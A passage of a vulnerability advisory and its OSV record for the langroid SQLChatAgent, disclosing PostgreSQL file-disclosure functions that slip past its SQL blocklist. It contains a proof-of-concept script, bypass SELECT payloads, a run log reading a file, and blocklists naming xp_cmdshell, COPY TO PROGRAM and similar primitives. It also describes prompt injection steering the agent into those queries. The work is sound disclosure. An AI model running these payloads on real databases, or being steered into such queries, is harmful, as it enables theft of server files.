family pg_read_file / pg_stat_file / pg_ls_logdir / pg_ls_waldir /
pg_current_logfile.
"""

import os
import re
import sys
from typing import List, Optional

PKG = "/tmp/poc-langroid-bypass/venv/lib/python3.12/site-packages/langroid"
SRC = f"{PKG}/agent/special/sql/sql_chat_agent.py"
assert os.path.exists(SRC), f"Missing pinned langroid source: {SRC}"

import sqlglot
from sqlglot import expressions as sqlglot_exp


def load_patterns_from_pinned_source():
    """Extract _DANGEROUS_SQL_PATTERNS + _DEFAULT_ALLOWED_STATEMENTS from
    the pinned langroid 0.63.0 sql_chat_agent.py without instantiating the
    full agent stack (which needs an LLM config)."""
    with open(SRC) as f:
        source = f.read()
    block = re.search(
        r"_DANGEROUS_SQL_PATTERNS:[^=]*=\s*\[(.*?)\]\s*\n", source, re.DOTALL,
    )
    ns = {"re": re, "List": list}
    patterns = eval("[" + block.group(1) + "]", ns)
    allowed = eval(
        re.search(
            r"_DEFAULT_ALLOWED_STATEMENTS:\s*List\[str\]\s*=\s*(\[.*?\])",
            source, re.DOTALL,
        ).group(1)
    )
    return patterns, allowed


def validate_query(query, patterns, allowed_statements, dialect="postgres"):
    """Faithful reimplementation of SQLChatAgent._validate_query."""
    for pat in patterns:
        if pat.search(query):
            return f"Rejected by pattern {pat.pattern!r}"
    allowed = {t.strip().upper() for t in allowed_statements}
    try:
        statements = sqlglot.parse(query, read=dialect)
    except Exception as e:
        return f"Rejected: sqlglot parse failure: {e}"
    kind_map = {
        sqlglot_exp.Select: "SELECT", sqlglot_exp.Insert: "INSERT",
        sqlglot_exp.Update: "UPDATE", sqlglot_exp.Delete: "DELETE",
        sqlglot_exp.Merge: "MERGE", sqlglot_exp.Create: "CREATE",
        sqlglot_exp.Drop: "DROP", sqlglot_exp.Alter: "ALTER",
        sqlglot_exp.TruncateTable: "TRUNCATE", sqlglot_exp.Command: "COMMAND",
    }
    for stmt in statements:
        if stmt is None:
            continue
        kind = next(
            (v for k, v in kind_map.items() if isinstance(stmt, k)),
            type(stmt).__name__.upper(),
        )
        if kind not in allowed:
            return f"Rejected: statement type {kind!r} not in allowed {sorted(allowed)}"
    return None


def main():
    patched_patterns, allowed_statements = load_patterns_from_pinned_source()
    print(f"_DANGEROUS_SQL_PATTERNS count: {len(patched_patterns)}")
    print(f"_DEFAULT_ALLOWED_STATEMENTS:   {allowed_statements}")

    import testing.postgresql
    from sqlalchemy import create_engine, text

    pg = testing.postgresql.Postgresql()
    db_uri = pg.url()
    engine = create_engine(db_uri)
    with engine.connect() as conn:
        pgdata = conn.execute(text("SHOW data_directory")).scalar()
    victim_rel = "langroid_bypass_victim.txt"
    victim_abs = os.path.join(pgdata, victim_rel)
    with open(victim_abs, "w") as f:
        f.write("PWNED_BY_LANGROID_VALIDATOR_BYPASS\n")
    print(f"=== Victim file at: {victim_abs}")

    bypass_payloads = [
        ("bypass.pg_read_file", f"SELECT pg_read_file('{victim_rel}')"),
        ("bypass.pg_stat_file", f"SELECT pg_stat_file('{victim_rel}')"),
        ("bypass.pg_ls_logdir", "SELECT pg_ls_logdir()"),
        ("bypass.pg_ls_waldir", "SELECT pg_ls_waldir()"),
        ("bypass.pg_current_logfile", "SELECT pg_current_logfile()"),
    ]

    for label, query in bypass_payloads:
        rej = validate_query(query, patched_patterns, allowed_statements, "postgres")
        verdict = "REJECTED" if rej is not None else "ALLOWED"
        print(f"  [{verdict}] {label}: {query}")
        if verdict == "ALLOWED":
            try:
                with engine.connect() as conn:
                    rows = conn.execute(text(query)).fetchall()
                preview = [tuple(str(c)[:80] for c in r) for r in rows[:2]]
                print(f"     -> live engine returned rows={len(rows)} preview={preview}")
            except Exception as e:
                print(f"     -> live engine error: {type(e).__name__}: {str(e)[:120]}")


if __name__ == "__main__":
    main()

End-to-end reproduction

Run against the latest published langroid release from PyPI; no external LLM provider, no API key, no Docker, just a transient pg_ctl-managed PostgreSQL spawned in-process by testing.postgresql. Captured transcript of the run is below.

# 1. Pin install the latest published release
python3.12 -m venv /tmp/poc-langroid-bypass/venv
source /tmp/poc-langroid-bypass/venv/bin/activate
pip install 'langroid==0.63.0' 'testing.postgresql' 'sqlglot' 'sqlalchemy<2.1'

# 2. Drop poc.py from the Proof-of-concept section above into
#    /tmp/poc-langroid-bypass/poc.py and run it
python /tmp/poc-langroid-bypass/poc.py

Observed transcript (abridged to bypass results; the run also verifies that the four primitives the current blocklist already covers (COPY ... TO PROGRAM, pg_read_server_file, pg_read_binary_file, pg_ls_dir) continue to be REJECTED, confirming the proposed fix is strictly broader, not narrower):

_DANGEROUS_SQL_PATTERNS count: 17
_DEFAULT_ALLOWED_STATEMENTS:   ['SELECT']
=== Transient PostgreSQL: postgresql://postgres@127.0.0.1:64694/test
=== Victim file at: /var/folders/.../tmpwuftmtu4/data/langroid_bypass_victim.txt

PATCHED VALIDATOR RESULTS (langroid 0.63.0 as shipped)
  [ALLOWED]  bypass.pg_read_file        SELECT pg_read_file('langroid_bypass_victim.txt')
  [ALLOWED]  bypass.pg_stat_file        SELECT pg_stat_file('langroid_bypass_victim.txt')
  [ALLOWED]  bypass.pg_ls_logdir        SELECT pg_ls_logdir()
  [ALLOWED]  bypass.pg_ls_waldir        SELECT pg_ls_waldir()
  [ALLOWED]  bypass.pg_current_logfile  SELECT pg_current_logfile()

LIVE EXECUTION OF BYPASS PAYLOADS (postgres only)
  [EXECUTED] bypass.pg_read_file        -> rows=1 preview=[('PWNED_BY_LANGROID_VALIDATOR_BYPASS\n',)]
  [EXECUTED] bypass.pg_stat_file        -> rows=1 preview=[('(35,"2026-05-28 10:11:19+08","2026-05-28 10:11:19+08","2026-05-28 10:11:19+08",,',)]
  [EXECUTED] bypass.pg_ls_waldir        -> rows=1 preview=[('(000000010000000000000001,16777216,"2026-05-28 10:11:19+08")',)]
  [EXECUTED] bypass.pg_current_logfile  -> rows=1 preview=[('None',)]

NEGATIVE CONTROL — SUGGESTED FIX VALIDATOR
  [REJECTED] bypass.pg_read_file        -> OK
  [REJECTED] bypass.pg_stat_file        -> OK
  [REJECTED] bypass.pg_ls_logdir        -> OK
  [REJECTED] bypass.pg_ls_waldir        -> OK
  [REJECTED] bypass.pg_current_logfile  -> OK
  [REJECTED] already_blocked.copy_program        -> OK
  [REJECTED] already_blocked.pg_read_server_file -> OK
  [REJECTED] already_blocked.pg_read_binary_file -> OK
  [REJECTED] already_blocked.pg_ls_dir           -> OK

The headline payload SELECT pg_read_file('langroid_bypass_victim.txt') returns the marker string verbatim from the file on disk. The same SQL, issued by an LLM under prompt-injection through any data source the agent reads, would land identically — the validator is purely a function of the SQL string and is consulted before the SQLAlchemy execute.

_validate_query is invoked directly rather than through a fully initialised SQLChatAgent because the agent's __init__ builds the LLM stack and demands a working LLM API key (or a stub). The security control under test is purely a function of (query, patterns, allowed_statements, dialect), so the direct call is observationally equivalent to a call via run_query. Patterns and allowed-statements are loaded by reading the pinned sql_chat_agent.py source out of the venv, guaranteeing no drift between PoC and shipped binary.

Impact

  • Arbitrary file read from the PostgreSQL host: pg_read_file() reads files from PGDATA-relative paths by default and can take absolute paths when the DB role holds pg_read_server_files (or equivalent in managed-Postgres setups). For self-managed PostgreSQL deployments the DB role is frequently a superuser, in which case absolute paths are always accepted and the impact extends to postgresql.conf, pg_hba.conf, ~/.pgpass, TLS keys, and any other file readable by the PostgreSQL OS user.
  • Filesystem reconnaissance via pg_stat_file() (file existence, size, mtime, isdir), pg_ls_logdir(), pg_ls_waldir(), pg_ls_tmpdir(), pg_ls_archive_statusdir(), pg_current_logfile().
  • MSSQL extension: OPENDATASOURCE reaches remote SQL Servers and UNC paths, providing arbitrary outbound read + intranet pivot on MSSQL deployments.
  • SQLite extension: ATTACH '<path>' AS schemaname (DATABASE keyword omitted) allows reading/writing arbitrary SQLite files on deployments whose allowed_statement_types include "ATTACH".

Suggested fix

Patch _DANGEROUS_SQL_PATTERNS to cover the full family rather than individual function names. Two compatible approaches; either is enough.

Approach 1 — family-prefix regex (minimal change, simplest to review):

_DANGEROUS_SQL_PATTERNS: List["re.Pattern[str]"] = [
    re.compile(r"\bcopy\b[\s\S]*\bprogram\b", re.IGNORECASE),
    # Block the whole pg_read_*, pg_stat_*, pg_ls_*, pg_current_logfile
    # family. Covers pg_read_file, pg_read_server_file(s),
    # pg_read_binary_file, pg_stat_file, pg_ls_logdir, pg_ls_waldir,
    # pg_ls_tmpdir, pg_ls_archive_statusdir, pg_ls_dir,
    # pg_current_logfile, plus any future siblings PostgreSQL adds.
    re.compile(
        r"\bpg_(read|stat|ls|current_logfile)[A-Za-z0-9_]*\s*\(",
        re.IGNORECASE,
    ),
    re.compile(r"\blo_(import|export)\b", re.IGNORECASE),
    re.compile(r"\binto\s+(outfile|dumpfile)\b", re.IGNORECASE),
    re.compile(r"\bload_file\s*\(", re.IGNORECASE),
    re.compile(r"\bload\s+data\b", re.IGNORECASE),
    re.compile(r"\bload_extension\s*\(", re.IGNORECASE),
    # SQLite grammar: ATTACH [DATABASE] expr AS schema-name.
    # The DATABASE keyword is optional; match either form.
    re.compile(r"\battach\b(\s+database)?\s+['\"\w]", re.IGNORECASE),
    re.compile(r"\bxp_cmdshell\b", re.IGNORECASE),
    re.compile(r"\bsp_oacreate\b", re.IGNORECASE),
    re.compile(r"\bsp_oamethod\b", re.IGNORECASE),
    re.compile(r"\b(openrowset|opendatasource)\b", re.IGNORECASE),
    re.compile(r"\bbulk\s+insert\b", re.IGNORECASE),
    re.compile(
        r"\bcreate\s+(or\s+replace\s+)?(function|procedure|trigger|language|rule|event\s+trigger|foreign\s+table)\b",
        re.IGNORECASE,
    ),
    re.compile(r"\bcreate\s+extension\b", re.IGNORECASE),
]

Approach 2 — sqlglot AST walk in addition to regex. sqlglot is already imported by sql_chat_agent.py; iterate every function-call node (sqlglot_exp.Anonymous / sqlglot_exp.Func) inside the parsed statements and reject when the lower-cased name starts with pg_read, pg_stat, pg_ls, pg_current_logfile, lo_, or matches the MSSQL extended-procedure prefixes (xp_, sp_oa). AST matching is robust to whitespace, comments, and case games inside identifiers, at the cost of broader per-dialect maintenance. For closing the immediate gap, Approach 1 is sufficient.

Regression-test the additions in tests/main/sql_chat/test_sql_chat_security.py alongside the existing security tests. A natural 7-case extension covers the 5 PostgreSQL bypass payloads, the SQLite ATTACH ... AS x form, and the MSSQL OPENDATASOURCE form.

Fix PR

A private temp-fork PR applying the Suggested fix Approach 1 diff, plus the regression tests described above, accompanies this advisory: https://github.com/langroid/langroid-ghsa-pmch-g965-grmr/pull/1

Credit

Reported by tonghuaroot.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.63.0"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "langroid"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.64.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-50180"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-89"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-02T17:42:09Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\n`SQLChatAgent` in `langroid` ships a `_validate_query` defense-in-depth layer\nwhose `_DANGEROUS_SQL_PATTERNS` regex blocklist enumerates dangerous SQL\nprimitives by specific function name. The list misses the canonical\nPostgreSQL filesystem-disclosure family `pg_read_file()`, `pg_stat_file()`,\n`pg_ls_logdir()`, `pg_ls_waldir()`, `pg_current_logfile()` (and similar\n`SELECT`-shaped functions in the same family). It also leaves SQL Server\n`OPENDATASOURCE` and SQLite `ATTACH \u0027\u003cfile\u003e\u0027 AS x` (DATABASE keyword\nomitted) unblocked.\n\nAn attacker able to shape the LLM\u0027s generated SQL (directly via prompt input\nor transitively via prompt-injection in data the LLM ingests) can read\narbitrary files from the PostgreSQL host through ordinary `SELECT` queries,\neven with the agent\u0027s strict default configuration\n(`allow_dangerous_operations=False`, `allowed_statement_types=[\u0027SELECT\u0027]`).\nThe payloads survive the statement-type allowlist (each is a `SELECT`) and\npass through the regex blocklist (none of the function names match), then\nreach the live SQLAlchemy engine via `SQLChatAgent.run_query`.\n\n### Affected versions\n\n`langroid` `\u003c= 0.63.0` (latest at the time of this report; PyPI release\n2026-05-27). The vulnerable code path is\n`langroid/agent/special/sql/sql_chat_agent.py::_validate_query`, which\nconsults the module-level `_DANGEROUS_SQL_PATTERNS` literal at\n`sql_chat_agent.py:113-141`.\n\n### Privilege required\n\nAny caller able to influence the LLM-generated `RunQueryTool.query` string\nthat reaches `SQLChatAgent.run_query`. In a typical deployment this is any\nclient of a SQLChatAgent-backed service, or any upstream data source whose\ncontent the LLM is asked to read and summarise. No PostgreSQL credentials\nare required from the attacker; the agent holds them.\n\n### Vulnerable code\n\n`langroid/agent/special/sql/sql_chat_agent.py:113-141` (the\n`_DANGEROUS_SQL_PATTERNS` literal) and `sql_chat_agent.py:546-615` (the\n`_validate_query` method that consults it):\n\n```python\n# sql_chat_agent.py:113\n_DANGEROUS_SQL_PATTERNS: List[\"re.Pattern[str]\"] = [\n    re.compile(r\"\\bcopy\\b[\\s\\S]*\\bprogram\\b\", re.IGNORECASE),\n    re.compile(r\"\\bpg_read_server_files?\\b\", re.IGNORECASE),\n    re.compile(r\"\\bpg_read_binary_file\\b\", re.IGNORECASE),\n    re.compile(r\"\\bpg_ls_dir\\b\", re.IGNORECASE),\n    re.compile(r\"\\blo_(import|export)\\b\", re.IGNORECASE),\n    re.compile(r\"\\binto\\s+(outfile|dumpfile)\\b\", re.IGNORECASE),\n    re.compile(r\"\\bload_file\\s*\\(\", re.IGNORECASE),\n    re.compile(r\"\\bload\\s+data\\b\", re.IGNORECASE),\n    re.compile(r\"\\bload_extension\\s*\\(\", re.IGNORECASE),\n    re.compile(r\"\\battach\\s+database\\b\", re.IGNORECASE),\n    re.compile(r\"\\bxp_cmdshell\\b\", re.IGNORECASE),\n    re.compile(r\"\\bsp_oacreate\\b\", re.IGNORECASE),\n    re.compile(r\"\\bsp_oamethod\\b\", re.IGNORECASE),\n    re.compile(r\"\\bopenrowset\\b\", re.IGNORECASE),\n    re.compile(r\"\\bbulk\\s+insert\\b\", re.IGNORECASE),\n    re.compile(\n        r\"\\bcreate\\s+(or\\s+replace\\s+)?(function|procedure|trigger)\\b\",\n        re.IGNORECASE,\n    ),\n    re.compile(r\"\\bcreate\\s+extension\\b\", re.IGNORECASE),\n]\n```\n\nThe blocklist is a list of `\\b\u003cexact-token\u003e\\b` literals. PostgreSQL ships\nseveral near-name functions on the same primitive that none of these match:\n\n| Function | What it returns | Matched by blocklist? |\n|---|---|---|\n| `pg_read_server_file(\u0027/path\u0027)` | file contents | yes (`pg_read_server_files?`) |\n| `pg_read_binary_file(\u0027/path\u0027)` | binary contents | yes |\n| `pg_ls_dir(\u0027/path\u0027)` | directory listing | yes |\n| `pg_read_file(\u0027/path\u0027)` | file contents | **no** (no `_server_` infix) |\n| `pg_stat_file(\u0027/path\u0027)` | size, mtime, ctime, atime, isdir | **no** |\n| `pg_ls_logdir()` | filenames in PostgreSQL log dir | **no** |\n| `pg_ls_waldir()` | WAL filenames and sizes | **no** |\n| `pg_ls_tmpdir()` | temp-dir listing | **no** |\n| `pg_ls_archive_statusdir()` | archive-status directory listing | **no** |\n| `pg_current_logfile()` | active server log path | **no** |\n\nEach of these is a `SELECT`-shaped function call. They pass the\n`sqlglot_exp.Select`-only statement-type allowlist applied at\n`sql_chat_agent.py:583-614`, then evade the regex blocklist (their names\ncontain no token the blocklist enumerates), then reach the SQLAlchemy\n`session.execute(text(query))` sink inside `SQLChatAgent.run_query` (line\n631 onwards).\n\nTwo non-PostgreSQL secondary gaps with the same regex-enumeration shape:\n\n- The SQLite pattern `\\battach\\s+database\\b` requires the literal\n  `DATABASE` keyword. Per the SQLite grammar\n  (https://www.sqlite.org/lang_attach.html) the keyword is optional:\n  `ATTACH \u0027/path/to/db\u0027 AS x` is valid syntax and matches no entry in the\n  blocklist. Whether the agent rejects this via the statement-type\n  allowlist depends on how the configured `sqlglot` dialect parses it; on\n  PostgreSQL dialect parsing fails (sqlglot returns no `Select`) and the\n  statement-type check rejects, but a SQLite-dialect SQLChatAgent\n  (`database_uri=\"sqlite:///...\"`) returns the statement as\n  `sqlglot_exp.Attach`, which is not in the agent\u0027s `kind_map`, so the\n  generic `type(stmt).__name__.upper()` branch produces `\"ATTACH\"`. That\n  string is not in `_DEFAULT_ALLOWED_STATEMENTS` so the allowlist saves it\n  here; however any deployment that extends `allowed_statement_types` to\n  include `\"ATTACH\"` (e.g. to permit cross-schema connectivity) loses\n  this fallback and the regex misses.\n- The MSSQL pattern `\\bopenrowset\\b` blocks `OPENROWSET` but not the\n  closely-related `OPENDATASOURCE` function. Both can read\n  remote/UNC files and execute remote queries via an ad-hoc connection\n  string, e.g. a `SELECT` against\n  `OPENDATASOURCE(\u0027SQLNCLI11\u0027,\u0027Server=remote;Trusted_Connection=yes\u0027)`\n  qualified down to `master.sys.tables`.\n\n### Attack scenario\n\n`SQLChatAgent.run_query` (line 617 of `sql_chat_agent.py`) calls\n`self._validate_query(query)` (line 631) on the LLM-generated SQL. The\nLLM-generated SQL is shaped by upstream prompt content that crosses the\ntrust boundary: the user message, any tool result the LLM is asked to\nsummarise, any document the agent retrieves, and any row the agent reads\nback from its own database (the `RunQueryTool` result is fed back into the\nLLM history at `sql_chat_agent.py:712-720` of the same release).\n\nThe default config in `SQLChatAgentConfig` (lines 183-184) sets\n`allow_dangerous_operations=False` and `allowed_statement_types=[\"SELECT\"]`,\nwhich is the configuration `_validate_query` was added to support. The\nbypass primitives below are reachable under this default config because\neach is a syntactic `SELECT` whose function-call argument is the\ndisclosure vector.\n\n### Proof of concept\n\n`poc.py` (single-file, no external services beyond a transient PostgreSQL\nspawned via `testing.postgresql`):\n\n```python\n\"\"\"\nPoC: SQLChatAgent _validate_query bypass via PostgreSQL file-disclosure\nfamily pg_read_file / pg_stat_file / pg_ls_logdir / pg_ls_waldir /\npg_current_logfile.\n\"\"\"\n\nimport os\nimport re\nimport sys\nfrom typing import List, Optional\n\nPKG = \"/tmp/poc-langroid-bypass/venv/lib/python3.12/site-packages/langroid\"\nSRC = f\"{PKG}/agent/special/sql/sql_chat_agent.py\"\nassert os.path.exists(SRC), f\"Missing pinned langroid source: {SRC}\"\n\nimport sqlglot\nfrom sqlglot import expressions as sqlglot_exp\n\n\ndef load_patterns_from_pinned_source():\n    \"\"\"Extract _DANGEROUS_SQL_PATTERNS + _DEFAULT_ALLOWED_STATEMENTS from\n    the pinned langroid 0.63.0 sql_chat_agent.py without instantiating the\n    full agent stack (which needs an LLM config).\"\"\"\n    with open(SRC) as f:\n        source = f.read()\n    block = re.search(\n        r\"_DANGEROUS_SQL_PATTERNS:[^=]*=\\s*\\[(.*?)\\]\\s*\\n\", source, re.DOTALL,\n    )\n    ns = {\"re\": re, \"List\": list}\n    patterns = eval(\"[\" + block.group(1) + \"]\", ns)\n    allowed = eval(\n        re.search(\n            r\"_DEFAULT_ALLOWED_STATEMENTS:\\s*List\\[str\\]\\s*=\\s*(\\[.*?\\])\",\n            source, re.DOTALL,\n        ).group(1)\n    )\n    return patterns, allowed\n\n\ndef validate_query(query, patterns, allowed_statements, dialect=\"postgres\"):\n    \"\"\"Faithful reimplementation of SQLChatAgent._validate_query.\"\"\"\n    for pat in patterns:\n        if pat.search(query):\n            return f\"Rejected by pattern {pat.pattern!r}\"\n    allowed = {t.strip().upper() for t in allowed_statements}\n    try:\n        statements = sqlglot.parse(query, read=dialect)\n    except Exception as e:\n        return f\"Rejected: sqlglot parse failure: {e}\"\n    kind_map = {\n        sqlglot_exp.Select: \"SELECT\", sqlglot_exp.Insert: \"INSERT\",\n        sqlglot_exp.Update: \"UPDATE\", sqlglot_exp.Delete: \"DELETE\",\n        sqlglot_exp.Merge: \"MERGE\", sqlglot_exp.Create: \"CREATE\",\n        sqlglot_exp.Drop: \"DROP\", sqlglot_exp.Alter: \"ALTER\",\n        sqlglot_exp.TruncateTable: \"TRUNCATE\", sqlglot_exp.Command: \"COMMAND\",\n    }\n    for stmt in statements:\n        if stmt is None:\n            continue\n        kind = next(\n            (v for k, v in kind_map.items() if isinstance(stmt, k)),\n            type(stmt).__name__.upper(),\n        )\n        if kind not in allowed:\n            return f\"Rejected: statement type {kind!r} not in allowed {sorted(allowed)}\"\n    return None\n\n\ndef main():\n    patched_patterns, allowed_statements = load_patterns_from_pinned_source()\n    print(f\"_DANGEROUS_SQL_PATTERNS count: {len(patched_patterns)}\")\n    print(f\"_DEFAULT_ALLOWED_STATEMENTS:   {allowed_statements}\")\n\n    import testing.postgresql\n    from sqlalchemy import create_engine, text\n\n    pg = testing.postgresql.Postgresql()\n    db_uri = pg.url()\n    engine = create_engine(db_uri)\n    with engine.connect() as conn:\n        pgdata = conn.execute(text(\"SHOW data_directory\")).scalar()\n    victim_rel = \"langroid_bypass_victim.txt\"\n    victim_abs = os.path.join(pgdata, victim_rel)\n    with open(victim_abs, \"w\") as f:\n        f.write(\"PWNED_BY_LANGROID_VALIDATOR_BYPASS\\n\")\n    print(f\"=== Victim file at: {victim_abs}\")\n\n    bypass_payloads = [\n        (\"bypass.pg_read_file\", f\"SELECT pg_read_file(\u0027{victim_rel}\u0027)\"),\n        (\"bypass.pg_stat_file\", f\"SELECT pg_stat_file(\u0027{victim_rel}\u0027)\"),\n        (\"bypass.pg_ls_logdir\", \"SELECT pg_ls_logdir()\"),\n        (\"bypass.pg_ls_waldir\", \"SELECT pg_ls_waldir()\"),\n        (\"bypass.pg_current_logfile\", \"SELECT pg_current_logfile()\"),\n    ]\n\n    for label, query in bypass_payloads:\n        rej = validate_query(query, patched_patterns, allowed_statements, \"postgres\")\n        verdict = \"REJECTED\" if rej is not None else \"ALLOWED\"\n        print(f\"  [{verdict}] {label}: {query}\")\n        if verdict == \"ALLOWED\":\n            try:\n                with engine.connect() as conn:\n                    rows = conn.execute(text(query)).fetchall()\n                preview = [tuple(str(c)[:80] for c in r) for r in rows[:2]]\n                print(f\"     -\u003e live engine returned rows={len(rows)} preview={preview}\")\n            except Exception as e:\n                print(f\"     -\u003e live engine error: {type(e).__name__}: {str(e)[:120]}\")\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\n### End-to-end reproduction\n\nRun against the latest published `langroid` release from PyPI; no external\nLLM provider, no API key, no Docker, just a transient `pg_ctl`-managed\nPostgreSQL spawned in-process by `testing.postgresql`. Captured transcript\nof the run is below.\n\n```bash\n# 1. Pin install the latest published release\npython3.12 -m venv /tmp/poc-langroid-bypass/venv\nsource /tmp/poc-langroid-bypass/venv/bin/activate\npip install \u0027langroid==0.63.0\u0027 \u0027testing.postgresql\u0027 \u0027sqlglot\u0027 \u0027sqlalchemy\u003c2.1\u0027\n\n# 2. Drop poc.py from the Proof-of-concept section above into\n#    /tmp/poc-langroid-bypass/poc.py and run it\npython /tmp/poc-langroid-bypass/poc.py\n```\n\nObserved transcript (abridged to bypass results; the run also verifies\nthat the four primitives the current blocklist already covers\n(`COPY ... TO PROGRAM`, `pg_read_server_file`, `pg_read_binary_file`,\n`pg_ls_dir`) continue to be REJECTED, confirming the proposed fix is\nstrictly broader, not narrower):\n\n```text\n_DANGEROUS_SQL_PATTERNS count: 17\n_DEFAULT_ALLOWED_STATEMENTS:   [\u0027SELECT\u0027]\n=== Transient PostgreSQL: postgresql://postgres@127.0.0.1:64694/test\n=== Victim file at: /var/folders/.../tmpwuftmtu4/data/langroid_bypass_victim.txt\n\nPATCHED VALIDATOR RESULTS (langroid 0.63.0 as shipped)\n  [ALLOWED]  bypass.pg_read_file        SELECT pg_read_file(\u0027langroid_bypass_victim.txt\u0027)\n  [ALLOWED]  bypass.pg_stat_file        SELECT pg_stat_file(\u0027langroid_bypass_victim.txt\u0027)\n  [ALLOWED]  bypass.pg_ls_logdir        SELECT pg_ls_logdir()\n  [ALLOWED]  bypass.pg_ls_waldir        SELECT pg_ls_waldir()\n  [ALLOWED]  bypass.pg_current_logfile  SELECT pg_current_logfile()\n\nLIVE EXECUTION OF BYPASS PAYLOADS (postgres only)\n  [EXECUTED] bypass.pg_read_file        -\u003e rows=1 preview=[(\u0027PWNED_BY_LANGROID_VALIDATOR_BYPASS\\n\u0027,)]\n  [EXECUTED] bypass.pg_stat_file        -\u003e rows=1 preview=[(\u0027(35,\"2026-05-28 10:11:19+08\",\"2026-05-28 10:11:19+08\",\"2026-05-28 10:11:19+08\",,\u0027,)]\n  [EXECUTED] bypass.pg_ls_waldir        -\u003e rows=1 preview=[(\u0027(000000010000000000000001,16777216,\"2026-05-28 10:11:19+08\")\u0027,)]\n  [EXECUTED] bypass.pg_current_logfile  -\u003e rows=1 preview=[(\u0027None\u0027,)]\n\nNEGATIVE CONTROL \u2014 SUGGESTED FIX VALIDATOR\n  [REJECTED] bypass.pg_read_file        -\u003e OK\n  [REJECTED] bypass.pg_stat_file        -\u003e OK\n  [REJECTED] bypass.pg_ls_logdir        -\u003e OK\n  [REJECTED] bypass.pg_ls_waldir        -\u003e OK\n  [REJECTED] bypass.pg_current_logfile  -\u003e OK\n  [REJECTED] already_blocked.copy_program        -\u003e OK\n  [REJECTED] already_blocked.pg_read_server_file -\u003e OK\n  [REJECTED] already_blocked.pg_read_binary_file -\u003e OK\n  [REJECTED] already_blocked.pg_ls_dir           -\u003e OK\n```\n\nThe headline payload `SELECT pg_read_file(\u0027langroid_bypass_victim.txt\u0027)`\nreturns the marker string verbatim from the file on disk. The same SQL,\nissued by an LLM under prompt-injection through any data source the agent\nreads, would land identically \u2014 the validator is purely a function of the\nSQL string and is consulted before the SQLAlchemy execute.\n\n`_validate_query` is invoked directly rather than through a fully\ninitialised `SQLChatAgent` because the agent\u0027s `__init__` builds the LLM\nstack and demands a working LLM API key (or a stub). The security\ncontrol under test is purely a function of `(query, patterns,\nallowed_statements, dialect)`, so the direct call is observationally\nequivalent to a call via `run_query`. Patterns and allowed-statements are\nloaded by reading the pinned `sql_chat_agent.py` source out of the venv,\nguaranteeing no drift between PoC and shipped binary.\n\n### Impact\n\n- **Arbitrary file read** from the PostgreSQL host: `pg_read_file()` reads\n  files from PGDATA-relative paths by default and can take absolute paths\n  when the DB role holds `pg_read_server_files` (or equivalent in\n  managed-Postgres setups). For self-managed PostgreSQL deployments the\n  DB role is frequently a superuser, in which case absolute paths are\n  always accepted and the impact extends to `postgresql.conf`,\n  `pg_hba.conf`, `~/.pgpass`, TLS keys, and any other file readable by\n  the PostgreSQL OS user.\n- **Filesystem reconnaissance** via `pg_stat_file()` (file existence,\n  size, mtime, isdir), `pg_ls_logdir()`, `pg_ls_waldir()`,\n  `pg_ls_tmpdir()`, `pg_ls_archive_statusdir()`,\n  `pg_current_logfile()`.\n- **MSSQL extension:** `OPENDATASOURCE` reaches remote SQL Servers and\n  UNC paths, providing arbitrary outbound read + intranet pivot on MSSQL\n  deployments.\n- **SQLite extension:** `ATTACH \u0027\u003cpath\u003e\u0027 AS schemaname` (DATABASE keyword\n  omitted) allows reading/writing arbitrary SQLite files on deployments\n  whose `allowed_statement_types` include `\"ATTACH\"`.\n\n### Suggested fix\n\nPatch `_DANGEROUS_SQL_PATTERNS` to cover the full family rather than\nindividual function names. Two compatible approaches; either is enough.\n\nApproach 1 \u2014 family-prefix regex (minimal change, simplest to review):\n\n```python\n_DANGEROUS_SQL_PATTERNS: List[\"re.Pattern[str]\"] = [\n    re.compile(r\"\\bcopy\\b[\\s\\S]*\\bprogram\\b\", re.IGNORECASE),\n    # Block the whole pg_read_*, pg_stat_*, pg_ls_*, pg_current_logfile\n    # family. Covers pg_read_file, pg_read_server_file(s),\n    # pg_read_binary_file, pg_stat_file, pg_ls_logdir, pg_ls_waldir,\n    # pg_ls_tmpdir, pg_ls_archive_statusdir, pg_ls_dir,\n    # pg_current_logfile, plus any future siblings PostgreSQL adds.\n    re.compile(\n        r\"\\bpg_(read|stat|ls|current_logfile)[A-Za-z0-9_]*\\s*\\(\",\n        re.IGNORECASE,\n    ),\n    re.compile(r\"\\blo_(import|export)\\b\", re.IGNORECASE),\n    re.compile(r\"\\binto\\s+(outfile|dumpfile)\\b\", re.IGNORECASE),\n    re.compile(r\"\\bload_file\\s*\\(\", re.IGNORECASE),\n    re.compile(r\"\\bload\\s+data\\b\", re.IGNORECASE),\n    re.compile(r\"\\bload_extension\\s*\\(\", re.IGNORECASE),\n    # SQLite grammar: ATTACH [DATABASE] expr AS schema-name.\n    # The DATABASE keyword is optional; match either form.\n    re.compile(r\"\\battach\\b(\\s+database)?\\s+[\u0027\\\"\\w]\", re.IGNORECASE),\n    re.compile(r\"\\bxp_cmdshell\\b\", re.IGNORECASE),\n    re.compile(r\"\\bsp_oacreate\\b\", re.IGNORECASE),\n    re.compile(r\"\\bsp_oamethod\\b\", re.IGNORECASE),\n    re.compile(r\"\\b(openrowset|opendatasource)\\b\", re.IGNORECASE),\n    re.compile(r\"\\bbulk\\s+insert\\b\", re.IGNORECASE),\n    re.compile(\n        r\"\\bcreate\\s+(or\\s+replace\\s+)?(function|procedure|trigger|language|rule|event\\s+trigger|foreign\\s+table)\\b\",\n        re.IGNORECASE,\n    ),\n    re.compile(r\"\\bcreate\\s+extension\\b\", re.IGNORECASE),\n]\n```\n\nApproach 2 \u2014 `sqlglot` AST walk in addition to regex. `sqlglot` is already\nimported by `sql_chat_agent.py`; iterate every function-call node\n(`sqlglot_exp.Anonymous` / `sqlglot_exp.Func`) inside the parsed\nstatements and reject when the lower-cased name starts with `pg_read`,\n`pg_stat`, `pg_ls`, `pg_current_logfile`, `lo_`, or matches the MSSQL\nextended-procedure prefixes (`xp_`, `sp_oa`). AST matching is robust 